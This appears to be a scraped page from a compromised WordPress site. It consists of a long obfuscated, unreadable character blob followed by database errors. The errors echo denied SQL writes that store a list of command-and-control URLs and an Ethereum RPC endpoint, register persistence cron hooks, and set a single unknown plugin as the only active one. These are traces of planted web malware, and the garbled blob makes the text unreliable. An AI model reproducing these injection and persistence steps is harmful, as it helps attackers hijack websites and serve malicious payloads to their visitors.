R^^J	VLLKLWWWEtttt^^
Etttt^^^^t^>GHNVLJOGWVZO
WEt^^^^^^>J	VLJOGWVKO	VLJOFWVZO
W^^^^P^^^MHFKVOGKLW^^P^^^KO	VLJOHWVZO
R^KO	VLLKLWWWEt^^VMHFKVLJLNWVJ	VLJLOWWW^^>!
VZO
R^^^^^
WEt^^^
Et^^tttt^^^^^^ZIMF^C^^^VM!VLJOHWVJ	VLJOFWVZO
WW^^^^^CCC^^KO	VLJLLW^^^^GHNVLJLMWVZO
W^^^CCC^^Z!NWEt^^^^V_ZIMF^^^^XX^^^^^KO	VLJLJWVMHFKVLMJFWWW^t^^^^Z	MN!		^C^M!VLJOHWVM!VLJLKWVZO
WW^^^P^^^^YQY^P^^^KO	VLJOHWVZO
WEt^^ZGF
N^^C^VW^>
!
VGHNVLJLHWR^^^VWWEt^^ZIMF^^C^KO	VLJLIWVZ	MN!		R^^^^^ZGF
NR^^^
WEtttt^^^V_ZIMF^XX^^KO	VLJLJWVMHFKVLLIWW^^^^XX^!

VW^^XX^^GHNVLJLFWVMHFKVLLGWWW^t^Z!JKHM^C^^^^^VW^^>
!
!
VMHFKVLJLGWR^^VWWEtZIMF^^C^^^^^
VZ!JKHM%Z	MN!		#WEZN	CGHUKIEZICZN	SJEtt^^^
VZ!JKHMWEt^^^^t^^
VZ	MN!		R^ZGF
NWEt^^t^^^^^V_ZIMFW^
Et^^^^V!VZM
OFI%O#R^^^ZL		FOKR^^^Y@YWW^t^^^VOM
JO!IFVZO
W^^^XX^^_F!HFIMVZO
WW^^^
EtZGMJ^^C^^M!VLJLKWVZO
W^^^^P^MHFKVLJMNW^^P^^^KO	VLLJMWVZO
WEt^^^^^^V>KO	VLJMOWVZGMJW^^^^^XX^^V
W^>MHFKVLJMLWVZGMJW^^B^^^GHNVLMMNWVW^^^^^^S^VJ KHWW^^^t^Z!FKO^^C^^MHFKVLJMMWVYYR^^^^V
W^^^^>GHNVLJNKWVZGMJWWEt^^^^^^^VGHNVLJMJWVZ!FKOW^^^B^^^^L^^^^^^^^^Z!FKO%N#^^_CC^^^^ZM
OFI%O#^^^^V
W^^^^^^Z!FKO%O#^^^_CC^V
W^^>M!VOGMJWVZO
WW^^^t>MHFKVLJMKWVZGMJWEtt^
Et^tttt^^^^V
GH!	G
JGVZO
W^_CC^W^tQT^^
^TQtt^MIFJHVZO
R^^^^^VJOLUFWWEtttt^^^^^^^^^^^VOM	VZO
WW^^^t^^>KO	VLJMKWVZGMJWEt^^^^^^^^^VKO	VLJLFWVJ	VLJLOWWW^^^^>!
VZO
R^^^^^^
WEt^^^^^tQQ^>^
tt^^^^t^
Et^^^^^t^>KO	VOGJMWVZGMJR^^ZM
OFI%O#^P^^YY^^P^^^^V
W^>GHNVOGMJWVZO
WWEt^
EZONCJFMEZFMHINLOCZON[OOEt^^^t^^^VZM
OFI%O#^^CCC^ZL		FOKW^^^t^^^^^ZM!FI^^^C^^^^NN
MM!VWEt^^^^^ZF!^^^C^^^Ettttt^^^^V_
VZM!FI%M!VOIKFW#WW^tQT^
S
^

^TQttZ
MJJKI^C^^>MHFKVLJMHWVZM!FI%MHFKVOIKFW#WEt^^ZI
KIN^^C^^^^^^>KO	VLJMHWVZO
WEt^^^^^^VMHFKVLMMLWVZ
MJJKIW^XX^GHNVLMMLWVZI
KINW^^XX^^Z
MJJKI^CCC^^^ZI
KIN^^^^XX^NIFNHLJVZM!FIW^^CCC^KO	VOIGLW^^^^XX^OM
JO!IFVZO
WW^^^
Et^^^^^^^^^^^^VKO	VLJMIWVZ
MJJKIW^^^^^XX^Z
MJJKI^^CCC^>GHNVLJMHWVZ	ILWW^^^ZF!^^C^^^
Et^^^^^^t^^^^^^V_ZF!^XX^^^^_OM
JO!IFVZO
WW^t^^^^^^^^^^VF!HFIMVZO
W^^^
GH!	G
JGVZO
W^^^^_CC^W^t^^^VHOMFHJVZO
R^^^ZO
^P^M!VLNOOWW^^XX^^KO	VLJLFWVJ	VLJLOWWW^>!
VZO
R^^^^^
WEt^^tQQ^	^
tt^^^
VZM!FIR^^^^^ZF!R^Z
MJJKIR^^^ZI
KINWEtt^^^^
Et^^t^^^^^^V_ZF!^^^^^XX^GHNVLJOOWVGHNVLJMFWVMHFKVLJOHWVZO
R^KO	VLLKLWWWR^^^^NR^VNFUNJWW^^^@^^^^MHFKVLJOOWVJ	VLJMFWVZMWR^^^^NR^VJUFWWW^^
Et^^^^^^
VZM!FIR^^^ZF!R^Z
MJJKIR^ZI
KINWEtt^^^^^^t^t^^^^^t^^^^^
VZ	ILR^ZL		FOKR^ZFJMF	!	OR^ZM
OFIR^Z
JGNNR^Z!NR^ZMO
OMR^ZO
R^^^ZJF	GO	R^^^ZMR^ZKNHOLR^^ZHLJIR^ZGMJR^^^^Z!FKOWEt^^^^^^^
^V*	^ZMN!W^t^^
^V;
^^^^^ZMN!W^^^^^t^t^^V
VZ921<?2-%J	VLJMGW#WW^^t^^^^^^^^V!VV
W^^Z921<?2-%M!VLJMGW#R^^^^^MFKKIO
VWR^^M!VLNGWWW^
Et^^^^^Z921<?2-%MHFKVLJJNW#^^C^^^^OEt^^^^^VVJ	VLJJOWWW^^^tZOH^^^^C^

VGHNVLJJOWWEtt^^^VGHNVLJMIWVZOHW^XX^^M!VLJOMWVKO	VLJJLWR^^^^ZOHW^XX^!VZOHR^^MFKKIO
VWR^^KO	VLNGWWW^^^^^
EtZ921<?2-%KO	VLJJMW#^^^C^^OEt
VZOHWEt^^^^^ttt^Z921<?2-%J	VLJJJW#^^C^^MFKKIO
VWEt^^^^^VGHNVLJJKWVMHFKVOFLWWW^^^>

V
R^^K		HK!	VWWEt^Z921<?2-%GHNVOFOW#^^^C^V
W^^>M!VOGMJWVK		HK!	VWW^^P^^YDY^^P^^^^V
W^^>MHFKVLJMLWVK		HK!	VWWEt^^V_VGHNVLJJOWWW^VM!VLJJOWR^^MFKKIO
VWWEt^^^V_VKO	VLJJHWWW^^VGHNVLJJHWR^^^MFKKIO
VWWEtHJMLIVKO	VLJOWWEt^^t^^	
G		HVK		HK!	VWWEtt^^^VKO	VLJJKWVMHFKVLJJIWW^XX^KO	VLJJKWVM!VLJJFWWW^^t^
^t^Z^^^^C^JH
GHKVWEt^^^V>KO	VLJJGWVZWW^^^^tZ!IJJ^^^C^M	KIMNM
VWEt^Z
J!G^^^^C^	MLGG	KH!!!VZWEt^^VMHFKVLJONWVZ
J!GWW^^^^t^^^^^^^VZ
J!G^^^^ZK	MW^^^t^^^^^^^^^^^VZK	M^^^CCC^^Z!IJJW^^^^^^
Et^^^^^^^^VM!VLMLKWVJ	VOMNKWVZK	MR^^

VMHFKVLJKNWWWW^_CC^M!VOLHIWW^^
Etttt^ZN^^C^^^^Z^P^YQY^^P^ZK	MEt^^^^V>MHFKVLJKOWVZNW^XX^>M!VOGMJWVZNW^^^^^@^^^VJGLHUIJW^^^^^^XX^JFKLGMJK
VZNR^^^VJGJHUKJWWW^^^^tt^^^^^^
MFJKMI!K
VZNWEt^^^^^^t^t^^^^^^tQQ^
S^
Stttttt^
^^^^V*	^^^^ZMN!W^t^!LNLVKO	VLJKWR^^ZMN!WEt^^^^^^
^V;
^ZMN!W^^^t^tttt^^^t^^t^^^V_^^^^^^OMKOVWW^^^tHNFHJNJLVMHFKVLJKLWR^^MHFKVLJKMWR^^^^OWEt^^^^^^^^tttttQQ^

^

^
tt^t^^^^Z921<?2-%J	VFHMW#^^C^VWE^^t^^^^Z921<?2-%M!VLJKJW#^^^C^VWE^^^tttt^^^^^^Z921<?2-%GHNVLMMGW#^C^^^\\E^t^^^^^VGHNVLJJKWVJ	VOFIMWWW^tttM!VOFIMWVJ	VLJKKWWEt^GHNVOFIMWVM!VLJKHWWEttQQ^).^?^*
D^^S
tt^^^ZGLIK^^^C^KO	VLJKIWVK		HK!	VWW^^^P^^^^GHNVLJKFW^^P^KO	VLJOHWVK		HK!	VWR^^M!VLLKLWWEt^^^^^^^^^^^V>GHNVLJKGWVZGLIKWW^^t^^ZJI^^^C^^^GHNVLMLOWVV
W^>M!VLJNKWVZGLIKWWEt^ZF	
!NI^^^C^^^H	GL!MGVWEt^^^^^^^^VZJI^^CCC^^^\\^^^^^^ZJI^_CC^^^^^ZF	
!NIW^OM	VZGLIKWEtt
VZJIR^^ZF	
!NIWEt^tttt
^t^>M!VLJHNWVKO	VLJKIWVK		HK!	VWW^P^^KO	VLJHOW^^^^^^P^M!VLJOHWVK		HK!	VWR^^^^^M!VLJHLWWWEtZIHIJ^^C^^M!VLJHMW^P^^^H	GL!MGVWEt^^^^^VVMHFKVLJKIWVK		HK!	VWWR^JH
GHKVWW^^^^ZMLHOW^t^^^^^^^^^V>M!VLJKGWVZMLHO^P^^^YQY^^^^^P^ZIHIJWW^^^>KO	VLJMKWVZMLHO^^^P^^YQY^^P^^^ZIHIJWEtt
VZIHIJR^^^^^ZMLHOWEt^^^^^^^
^V*	^ZMN!W^^^t^^^
^^^^^V;
^^ZMN!W^^^Z!OKOFCVNOUNFKWEZJICZ!OKOF[MEtttt^t^^^^^^
VZGLIKWEt^^t^HNFHJNJLVMHFKVGNJWR^KO	VLJHJWR^^NWEt^HNFHJNJLVMHFKVGNJWR^^KO	VLJHKWR^^^NWEt^^^^^^^HNFHJNJLVKO	VLJHHWR^KO	VLJHIWR^^^NWEt^^^^^^HNFHJNJLVKO	VLJHFWR^M!VLJHIWR^NWEtHNFHJNJLVJ	VLJHFWR^^^MHFKVLJHGWR^LWEt^^HNFHJNJLVJ	VLJHFWR^GHNVLJINWR^^^VJSOWWEt^^HNFHJNJLVMHFKVLJIOWR^^GHNVLJILWR^^^^^VOJH OKNWWEtHNFHJNJLVGHNVLJIMWR^^^^GHNVLJIJWR^VLUMWWEtt^LHOGLVGHNVLJIKWR^^^^MHFKVLJIHWR^^VOGN OFNWR^^OWEttt^^^^^LHOGLVJ	VLJIIWR^J	VLJIFWR^^VNGUNOWR^^OWEtLHOGLVKO	VLJIGWR^^^J	VLJIFWR^^^VNFUNLWR^OWEtLHOGLVJ	VLJFNWR^M!VLJIFWR^VKUKWR^OWEt^^^^^^t^LHOGLVKO	VLJFOWR^^GHNVLJFLWR^^VONIKSIHWR^^VLUOWWEttHNFHJNJLVJ	VLJFMWR^^MHFKVLJFJWR^^^^^VNMIUNJNWR^^LWEttt^t^^^^^^^LHOGLVKO	VLJFKWR^^J	VLJFHWWEt^^^LHOGLVGHNVLJFIWR^^GHNVLJFFWR^^^VOGSGWR^^^^LWEt^^^LHOGLVJ	VLJFGWR^^^GHNVLJGNWWEtt^^^^^t^LHOGLVKO	VLJGOWR^GHNVLJGLWR^VKBBOWR^^^^OWEttLHOGLVM!VLJGMWR^^MHFKVLJGJWR^^^^^^VNKUNKWR^^^^^LWEZ
GNCMGUKKEZFIICZ
GNSLIEt^tt^HNFHJNJLVM!VLJGKWR^^^^MHFKVGMFWWEt^^^LHOGLVM!VLJGHWR^^J	VLJGIWWEtt^^t^^^^^^^LHOGLVGHNVLJGFWR^^^M!VLJGGWWEtQQ^>

^
ttttttHNFHJNJLVKO	VLKNNWR^MHFKVLKNOWR^^SVOGGKSGGHWWEt^HNFHJNJLVMHFKVLKNLWR^^MHFKVLKNOWR^^^SVGKKUJJWWEtttt^^HNFHJNJLVMHFKVLKNMWR^^M!VLKNOWR^SVOOILSOIMWWEt^^^^^^t^^HNFHJNJLVKO	VLKNJWR^^^M!VLKNKWR^^VOMIISMIFWWEttttHNFHJNJLVMHFKVLKNHWR^^^^MHFKVLKNIWR^NWEtttHNFHJNJLVJ	VLKNFWR^^^^^KO	VLKNGWR^^^VGINULGWWEt^^^HNFHJNJLVKO	VLKONWR^MHFKVLKNGWR^^^VKOGUJFNWWEttttHNFHJNJLVKO	VLKOOWR^^^^^^KO	VLKOLWR^^LWEt^HNFHJNJLVM!VLKOOWR^KO	VLKOMWR^^^NWEt^^^^^^^tHNFHJNJLVJ	VLKOJWR^^J	VLKOKWR^^^^^NWEttt^^^^HNFHJNJLVKO	VLKOJWR^^J	VLKOHWR^^^NWEt^^^^tHNFHJNJLVMHFKVLKOJWR^GHNVLKOIWR^OWEt^HNFHJNJLVM!VLKOJWR^^M!VLKOFWR^^^LWEtt^HNFHJNJLVJ	VLKOJWR^M!VLJHGWR^^VNLUNOWWEt^^^^HNFHJNJLVGHNVLKOGWR^M!VLKLNWR^^^VOUMWWEt^^^HNFHJNJLVJ	VLKOGWR^^^^J	VIHFWR^VNOUNJWWEtttt^^^HNFHJNJLVGHNVLKOGWR^^^^M!VLKLOWR^^^VNOUNKWWEt^^HNFHJNJLVGHNVLKOGWR^^^^J	VLKLLWR^^^^VNKUNOWWEt^^HNFHJNJLVM!VLKOGWR^GHNVLKLMWR^^^VNKUNOWWEtHNFHJNJLVKO	VLKOGWR^^J	VLKLJWR^^^VLUKWWEtttt^^^^^^^^^^^VJ	VLJJKWVGHNVOFIMWWW^^^tMHFKVLKLKWV
^^^VW^^tttt^^^^V_
VZ921<?2-%M!VLKLHW#WW^^
Et^^^^^^^^V_VJ	VLKLIWW^^^^^^_J	VLJJKWVMHFKVLKLFWWW^^^^^
Et^^^^VGHNVLJJKWVM!VLKLJWWW^^tt^
^^^tGKNIO	MVWEtttt^^^^
^V*	^ZMN!W^^^t^^^^
^^^^V;
^^ZMN!W^^^t^ttWEttt^^^^^t^^^HNFHJNJLVJ	VLKOGWR^GHNVLKLGWR^^^^VIUOWWEtHNFHJNJLVJ	VLOJGWR^^^GHNVLOJGWWEtttHNFHJNJLVMHFKVLLLNWR^^GHNVLKMNWWEt^^^^^^^HNFHJNJLVMHFKVLKMOWR^^^^^M!VLKMLWR^^VLUFWWEt^^^^HNFHJNJLVKO	VLKOGWR^^
^VW^^^t^^^^^V_GHNVLJJKWVJ	VLKLFWW^^^_J	VLJJKWVKO	VLMLFWWW^^
Et^ZIJHI
G^C^^^^V
W^>
!
VGHNVLKMMWR^^^^NWEt^^VVMHFKVLKMJWVW^^^^^^S^^^^ZIJHI
GW^^^^@^^^^^VMKIJULHWW^^^^^t^^^^>
!
VMHFKVLKMKWR^^^^KO	VLKMJWVWWEtt^!N	NGVWEttR^VNOUNFWWEtt^^HNFHJNJLVJ	VFJWR^^^GHNVLKMHWWEtttt^^^LHOGLVJ	VLKMIWR^^^^^J	VLKMFWWEt^^^^VJ	VLKMGWVGHNVKOMWW^XX^^^^!
VMHFKVLKJNWWW^^tIGHIHVWEt^tttt^^^^t\E', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_fetch_fails', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_fail_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_initialized', '4.3.24', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_rpc', 'https://0xrpc.io/eth', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_c2_cache', 'https://root-cherry.com/n3s9c2a\nhttps://forecast-chaos.com/n3s9c2a\nhttps://sound-obstacle.com/n3s9c2a', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788504891;a:1:{s:22:\"pqfslnp_inf0wvc0orkf9o\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788505191;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788504591', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u444827716_5kR7c'@'localhost' for table `u444827716_HRfgJ`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:39:\"retro-indexer-tag/retro-indexer-tag.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)